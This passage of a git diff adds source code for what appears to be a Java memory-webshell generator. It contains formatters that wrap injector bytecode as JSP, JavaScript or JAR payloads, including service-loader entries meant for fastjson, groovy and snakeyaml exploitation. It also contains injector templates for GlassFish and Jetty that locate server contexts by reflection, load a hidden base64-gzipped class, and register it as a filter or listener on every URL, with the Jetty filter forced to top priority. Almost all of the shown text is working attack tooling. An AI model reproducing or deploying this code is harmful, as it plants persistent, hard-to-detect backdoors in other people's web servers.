jarEntries = jar.entries(); + while (jarEntries.hasMoreElements()) { + JarEntry entry = jarEntries.nextElement(); + try (InputStream entryInputStream = jar.getInputStream(entry)) { + tempJar.putNextEntry(entry); + byte[] buffer = new byte[1024]; + int bytesRead; + while ((bytesRead = entryInputStream.read(buffer)) != -1) { + tempJar.write(buffer, 0, bytesRead); + } + } + } + } + + private void addModifiedClassToJar(ClassPool pool, String className, String simpleName, String classFileName, JarOutputStream tempJar,String injectFlag, String injectorCode) throws Exception { + CtClass ctClass = pool.get(className); + ctClass.getClassFile().setVersionToJava5(); + ctClass.setName(simpleName); + JavassistUtil.addMethod(ctClass, "getInjectorCode", "return \"" + injectorCode + "\";"); + tempJar.putNextEntry(new JarEntry(classFileName)); + tempJar.write(ctClass.toBytecode()); + ctClass.detach(); + } +} \ No newline at end of file diff --git a/jmg-core/src/main/java/jmg/core/format/JARFormater.java b/jmg-core/src/main/java/jmg/core/format/JARFormater.java new file mode 100755 index 0000000..0b5d4c5 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/format/JARFormater.java @@ -0,0 +1,47 @@ +package jmg.core.format; + +import jmg.core.config.AbstractConfig; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.util.jar.JarEntry; +import java.util.jar.JarOutputStream; +import java.util.jar.Manifest; + +public class JARFormater implements IFormater { + public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException { + String className = config.getInjectorClassName(); + String jarEntryFileName = className.replace(".", "/") + ".class"; + + Manifest manifest = new Manifest(); + manifest.getMainAttributes().putValue("Manifest-Version", "1.0"); + + ByteArrayOutputStream out = new ByteArrayOutputStream(); + try (JarOutputStream jarOutputStream = new JarOutputStream(out, manifest)) { + jarOutputStream.putNextEntry(new JarEntry(jarEntryFileName)); + jarOutputStream.write(clazzbyte); + jarOutputStream.closeEntry(); + + // fastjson + groovy 的利用 + if (config.isImplementsASTTransformationType()) { + String entryName = "META-INF/services/org.codehaus.groovy.transform.ASTTransformation"; + JarEntry entry = new JarEntry(entryName); + jarOutputStream.putNextEntry(entry); + jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8)); + jarOutputStream.closeEntry(); + } + + // snakeyaml + loadJar 的利用 + if (config.isImplementsScriptEngineFactory()) { + String entryName = "META-INF/services/javax.script.ScriptEngineFactory"; + JarEntry entry = new JarEntry(entryName); + jarOutputStream.putNextEntry(entry); + jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8)); + jarOutputStream.closeEntry(); + } + } + + return out.toByteArray(); + } +} \ No newline at end of file diff --git a/jmg-core/src/main/java/jmg/core/format/JSPFormater.java b/jmg-core/src/main/java/jmg/core/format/JSPFormater.java new file mode 100755 index 0000000..f50256b --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/format/JSPFormater.java @@ -0,0 +1,35 @@ +package jmg.core.format; + +import jmg.core.config.AbstractConfig; +import me.gv7.woodpecker.tools.codec.BASE64Encoder; + +import java.io.IOException; + +public class JSPFormater implements IFormater { + + public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException { + String strJSP = "<%\n" + + " ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n" + + " try{\n" + + " classLoader.loadClass(\""+ config.getInjectorClassName()+"\").newInstance();\n" + + " }catch (Exception e){\n" + + " java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n" + + " defineClass.setAccessible(true);\n" + + " String bytecodeBase64 = \""+new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") +"\";\n" + + " byte[] bytecode = null;\n" + + " try {\n" + + " Class base64Clz = classLoader.loadClass(\"java.util.Base64\");\n" + + " Class decoderClz = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" + + " Object decoder = base64Clz.getMethod(\"getDecoder\").invoke(base64Clz);\n" + + " bytecode = (byte[]) decoderClz.getMethod(\"decode\", String.class).invoke(decoder, bytecodeBase64);\n" + + " } catch (ClassNotFoundException ee) {\n" + + " Class datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" + + " bytecode = (byte[]) datatypeConverterClz.getMethod(\"parseBase64Binary\", String.class).invoke(datatypeConverterClz, bytecodeBase64);\n" + + " }\n" + + " Class clazz = (Class)defineClass.invoke(classLoader,bytecode,0,bytecode.length);\n" + + " clazz.newInstance();\n" + + " }\n" + + "%>"; + return strJSP.getBytes(); + } +} diff --git a/jmg-core/src/main/java/jmg/core/format/JavaScriptFormater.java b/jmg-core/src/main/java/jmg/core/format/JavaScriptFormater.java new file mode 100755 index 0000000..43a910d --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/format/JavaScriptFormater.java @@ -0,0 +1,36 @@ +package jmg.core.format; + +import jmg.core.config.AbstractConfig; +import me.gv7.woodpecker.tools.codec.BASE64Encoder; + +import java.io.IOException; + +public class JavaScriptFormater implements IFormater { + public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException { + String strJS = "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + + "try{\n" + + " classLoader.loadClass(\""+ config.getInjectorClassName() +"\").newInstance();\n" + + "}catch (e){\n" + + " var clsString = classLoader.loadClass('java.lang.String');\n" + + " var bytecodeBase64 = \""+ new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") + "\";\n" + + " var bytecode;\n" + + " try{\n" + + " var clsBase64 = classLoader.loadClass(\"java.util.Base64\");\n" + + " var clsDecoder = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" + + " var decoder = clsBase64.getMethod(\"getDecoder\").invoke(base64Clz);\n" + + " bytecode = clsDecoder.getMethod(\"decode\", clsString).invoke(decoder, bytecodeBase64);\n" + + " } catch (ee) {\n" + + " var datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" + + " bytecode = datatypeConverterClz.getMethod(\"parseBase64Binary\", clsString).invoke(datatypeConverterClz, bytecodeBase64);\n" + + " }\n" + + " var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');\n" + + " var clsByteArray = classLoader.loadClass('[B');\n" + + " var clsInt = java.lang.Integer.TYPE;\n" + + " var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt);\n" + + " defineClass.setAccessible(true);\n" + + " var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length);\n" + + " clazz.newInstance();\n" + + "}"; + return strJS.getBytes(); + } +} diff --git a/jmg-core/src/main/java/jmg/core/generator/IShellGenerator.java b/jmg-core/src/main/java/jmg/core/generator/IShellGenerator.java new file mode 100644 index 0000000..f3124bd --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/generator/IShellGenerator.java @@ -0,0 +1,14 @@ +package jmg.core.generator; + +import javassist.ClassPool; +import jmg.core.config.AbstractConfig; + +public interface IShellGenerator { + ClassPool pool = ClassPool.getDefault(); + + void initShell(AbstractConfig config); + + byte[] makeShell(AbstractConfig config) throws Exception; + + byte[] modifyShell(String className, AbstractConfig config); +} diff --git a/jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java b/jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java new file mode 100644 index 0000000..b316e4b --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java @@ -0,0 +1,95 @@ +package jmg.core.generator; + +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.util.CommonUtil; +import jmg.core.util.CtClassUtil; +import jmg.core.util.InjectorUtil; +import jmg.core.util.JavassistUtil; + + +/** + * 注入器生成 + */ +public class InjectorGenerator { + public byte[] makeInjector(AbstractConfig config) throws Exception { + String injectorName = InjectorUtil.getInjectorName(config.getServerType(), config.getShellType()); + String injectorClassName = InjectorUtil.getInjectorClassName(injectorName); + byte[] bytes = UtilPlus.generate(injectorClassName, config); + config.setInjectorBytes(bytes); + config.setInjectorBytesLength(bytes.length); + return bytes; + } + + + public static class UtilPlus { + @SuppressWarnings("unchecked") + private final static ClassPool pool = ClassPool.getDefault(); + + public static byte[] generate(String injectorTplClassName, AbstractConfig config) throws Exception { + pool.insertClassPath(new ClassClassPath(InjectorGenerator.class)); + CtClass ctClass = pool.getCtClass(injectorTplClassName); + ctClass.getClassFile().setVersionToJava5(); + String base64ShellString = CommonUtil.encodeBase64(CommonUtil.gzipCompress(config.getShellBytes())).replace(System.lineSeparator(), ""); + + String urlPattern = config.getUrlPattern(); + String shellClassName = config.getShellClassName(); + + if (base64ShellString != null) { + CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String"); + String[] parts = splitChunks(base64ShellString.replace(System.lineSeparator(), ""), 40000); + StringBuilder result = new StringBuilder(); + for (int i = 0; i < parts.length; i++) { + if (i > 0) + result.append("+"); + result.append("new String(\"" + parts[i] + "\")"); + } + + getBase64String.setBody(String.format("{return %s;}", result)); + } + + if (config.getShellType().equalsIgnoreCase(Constants.SHELL_FILTER) || config.getShellType().equalsIgnoreCase(Constants.SHELL_WF_HANDLERMETHOD)) { + CtMethod getUrlPattern = ctClass.getDeclaredMethod("getUrlPattern"); + getUrlPattern.setBody(String.format("{return \"%s\";}", urlPattern)); + } + + if (shellClassName != null) { + CtMethod getUrlPattern = ctClass.getDeclaredMethod("getClassName"); + getUrlPattern.setBody(String.format("{return \"%s\";}", shellClassName)); + } + + JavassistUtil.setNameIfNotNull(ctClass, config.getInjectorClassName()); + JavassistUtil.removeSourceFileAttribute(ctClass); + byte[] bytes = new CtClassUtil(config, pool, ctClass).modifyForExploitation(); + ctClass.detach(); + return bytes; + } + + private static String[] splitChunks(String source, int CHUNK_SIZE) { + String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)]; + char[] payload = source.toCharArray(); + int start = 0; + for (int i = 0; i < ret.length; i++) { + if (start + CHUNK_SIZE > payload.length) { + char[] b = new char[payload.length - start]; + System.arraycopy(payload, start, b, 0, payload.length - start); + ret[i] = new String(b); + } else { + char[] b = new char[CHUNK_SIZE]; + System.arraycopy(payload, start, b, 0, CHUNK_SIZE); + ret[i] = new String(b); + } + start += CHUNK_SIZE; + } + return ret; + } + } + + +} + + diff --git a/jmg-core/src/main/java/jmg/core/jMGCodeApi.java b/jmg-core/src/main/java/jmg/core/jMGCodeApi.java new file mode 100644 index 0000000..1478674 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/jMGCodeApi.java @@ -0,0 +1,52 @@ +package jmg.core; + + +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.format.*; + +public class jMGCodeApi { + AbstractConfig config; + + public jMGCodeApi(AbstractConfig config) { + this.config = config; + } + + public byte[] generate() throws Throwable { + byte[] clazzBytes; + clazzBytes = config.getInjectorBytes(); + if (clazzBytes == null) { + return null; + } + + // 格式转换 + byte[] bytes = null; + switch (config.getOutputFormat()) { + case Constants.FORMAT_BCEL: + bytes = new BCELFormater().transform(clazzBytes, config); + break; + case Constants.FORMAT_JSP: + bytes = new JSPFormater().transform(clazzBytes, config); + break; + case Constants.FORMAT_JAR: + bytes = new JARFormater().transform(clazzBytes, config); + break; + case Constants.FORMAT_JAR_AGENT: + bytes = new JARAgentFormater().transform(clazzBytes, config); + break; + case Constants.FORMAT_JS: + bytes = new JavaScriptFormater().transform(clazzBytes, config); + break; + case Constants.FORMAT_BASE64: + bytes = new BASE64Formater().transform(clazzBytes, config); + break; + case Constants.FORMAT_BIGINTEGER: + bytes = new BigIntegerFormater().transform(clazzBytes, config); + break; + default: + bytes = clazzBytes; + break; + } + return bytes; + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/GlassFishFilterInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/GlassFishFilterInjectorTpl.java new file mode 100644 index 0000000..857e644 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/GlassFishFilterInjectorTpl.java @@ -0,0 +1,208 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.zip.GZIPInputStream; + +public class GlassFishFilterInjectorTpl { + public String getUrlPattern() { + return "/*"; + } + + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new GlassFishFilterInjectorTpl(); + } + + public GlassFishFilterInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getFilter(context); + addFilter(context, filter); + } + } catch (Exception ignored) { + + } + + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + try { + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); + for (Object key : childrenMap.keySet()) { + HashMap children = (HashMap) getFV(childrenMap.get(key), "children"); + for (Object key1 : children.keySet()) { + Object context = children.get(key1); + if (context != null) contexts.add(context); + } + } + } + } + } catch (Exception ignored) { + } + return contexts; + } + + private Object getFilter(Object context) throws Exception { + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + filter = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Exception ignored) { + } + + } + return filter; + } + + public void addFilter(Object context, Object filter) throws Exception { + String filterName = getSimpleName(getClassName()); + try { + Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); + Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); + invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()}); + invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); + invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false}); + Constructor[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); + constructors[0].setAccessible(true); + Object filterConfig = constructors[0].newInstance(context, filterDef); + HashMap filterConfigs = (HashMap) getFV(context, "filterConfigs"); + filterConfigs.put(filterName, filterConfig); + + } catch (Exception e) { + } + } + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static String getSimpleName(String className) { + int lastDotIndex = className.lastIndexOf("."); + if (lastDotIndex != -1 && lastDotIndex < className.length() - 1) { + return className.substring(lastDotIndex + 1); + } + return className; + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/GlassFishListenerInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/GlassFishListenerInjectorTpl.java new file mode 100644 index 0000000..f31fdf8 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/GlassFishListenerInjectorTpl.java @@ -0,0 +1,193 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.EventListener; +import java.util.HashMap; +import java.util.List; +import java.util.zip.GZIPInputStream; + + +public class GlassFishListenerInjectorTpl { + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new GlassFishListenerInjectorTpl(); + } + + public GlassFishListenerInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getListener(context); + addListener(context, listener); + } + } catch (Exception ignored) { + + } + + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + try { + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); + for (Object key : childrenMap.keySet()) { + HashMap children = (HashMap) getFV(childrenMap.get(key), "children"); + for (Object key1 : children.keySet()) { + Object context = children.get(key1); + if (context != null) contexts.add(context); + } + } + } + } + } catch (Exception ignored) { + } + return contexts; + } + + private Object getListener(Object context) throws Exception { + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Exception ignored) { + } + + } + return listener; + } + + public void addListener(Object context, Object listener) throws Exception { + try { + List eventListeners = (List) invokeMethod(context, "getApplicationEventListeners"); + boolean isExist = false; + for (EventListener eventListener : eventListeners) { + if (eventListener.getClass().getName().equals(listener.getClass().getName())) { + isExist = true; + break; + } + } + if (!isExist) { + eventListeners.add((EventListener) listener); + } + } catch (Exception e) { + } + } + + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/JettyFilterInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/JettyFilterInjectorTpl.java new file mode 100644 index 0000000..3efa624 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/JettyFilterInjectorTpl.java @@ -0,0 +1,297 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.lang.reflect.*; +import java.util.ArrayList; +import java.util.List; +import java.util.zip.GZIPInputStream; + +/** + * tested v8、v9 + */ + +public class JettyFilterInjectorTpl { + + public String getUrlPattern() { + return "/*"; + } + + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new JettyFilterInjectorTpl(); + } + + public JettyFilterInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getFilter(context); + addFilter(context, filter); + } + } catch (Exception ignored) { + + } + + } + + public String getFilterName(String className) { + if (className.contains(".")) { + int lastDotIndex = className.lastIndexOf("."); + return className.substring(lastDotIndex + 1); + } else { + return className; + } + } + + public void addFilter(Object context, Object magicFilter) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, UnsupportedEncodingException { + String filterName = getFilterName(getClassName()); + + Class filterClass = magicFilter.getClass(); + try { + Object servletHandler = getFV(context, "_servletHandler"); + + // 1. 判断是否已经注入 + if (isInjected(servletHandler, filterClass.getName())) { + return; + } + + Class filterHolderClass = context.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder"); + Constructor constructor = filterHolderClass.getConstructor(Class.class); + Object filterHolder = constructor.newInstance(filterClass); + invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{filterName}); + + + // 2. 注入内存马Filter + invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1}); + // 3. 修改Filter的优先级为第一位 + Object filterMaps = getFV(servletHandler, "_filterMappings"); + Object[] tmpFilterMaps = new Object[Array.getLength(filterMaps)]; + int n = 1; + for (int i = 0; i < Array.getLength(filterMaps); i++) { + Object filter = Array.get(filterMaps, i); + String _filterName = (String) getFV(filter, "_filterName"); + if (_filterName.contains(filterClass.getName())) { + tmpFilterMaps[0] = filter; + } else { + tmpFilterMaps[n] = filter; + n++; + } + } + for (int j = 0; j < tmpFilterMaps.length; j++) { + Array.set(filterMaps, j, tmpFilterMaps[j]); + } + + // 4. 解决 jetty filterChainsCache 导致 filter 内存马连接失败的问题 + invokeMethod(servletHandler, "invalidateChainsCache"); + + } catch (Exception ignored) { + } + } + + List getContext() { + List contexts = new ArrayList(); + Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]); + for (Thread thread : threads) { + try { + Object contextClassLoader = getContextClassLoader(thread); + if (isWebAppClassLoader(contextClassLoader)) { + contexts.add(getContextFromWebAppClassLoader(contextClassLoader)); + } else if (isHttpConnection(thread)) { + contexts.add(getContextFromHttpConnection(thread)); + } + } catch (Exception ignored) { + } + } + return contexts; + } + + private Object getContextClassLoader(Thread thread) throws Exception { + return invokeMethod(thread, "getContextClassLoader"); + } + + private boolean isWebAppClassLoader(Object classLoader) { + return classLoader.getClass().getName().contains("WebAppClassLoader"); + } + + private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception { + Object context = getFV(classLoader, "_context"); + Object handler = getFV(context, "_servletHandler"); + return getFV(handler, "_contextHandler"); + } + + private boolean isHttpConnection(Thread thread) throws Exception { + Object threadLocals = getFV(thread, "threadLocals"); + Object table = getFV(threadLocals, "table"); + for (int i = 0; i < Array.getLength(table); ++i) { + Object entry = Array.get(table, i); + if (entry != null) { + Object httpConnection = getFV(entry, "value"); + if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { + return true; + } + } + } + return false; + } + + private Object getContextFromHttpConnection(Thread thread) throws Exception { + Object threadLocals = getFV(thread, "threadLocals"); + Object table = getFV(threadLocals, "table"); + for (int i = 0; i < Array.getLength(table); ++i) { + Object entry = Array.get(table, i); + if (entry != null) { + Object httpConnection = getFV(entry, "value"); + if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { + Object httpChannel = invokeMethod(httpConnection, "getHttpChannel"); + Object request = invokeMethod(httpChannel, "getRequest"); + Object session = invokeMethod(request, "getSession"); + Object servletContext = invokeMethod(session, "getServletContext"); + return getFV(servletContext, "this$0"); + } + } + } + throw new Exception("HttpConnection not found"); + } + + + private Object getFilter(Object context) { + + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + filter = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Exception e1) { + e1.printStackTrace(); + } + } + return filter; + } + + public static boolean isInjected(Object servletHandler, String filterClassName) throws Exception { + try { + Object filterMaps = getFV(servletHandler, "_filterMappings"); + for (int i = 0; i < Array.getLength(filterMaps); i++) { + Object filter = Array.get(filterMaps, i); + String filterName = (String) getFV(filter, "_filterName"); + if (filterName.contains(filterClassName)) { + return true; + } + } + } catch (Exception e) { + return false; + } + return false; + } + + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new 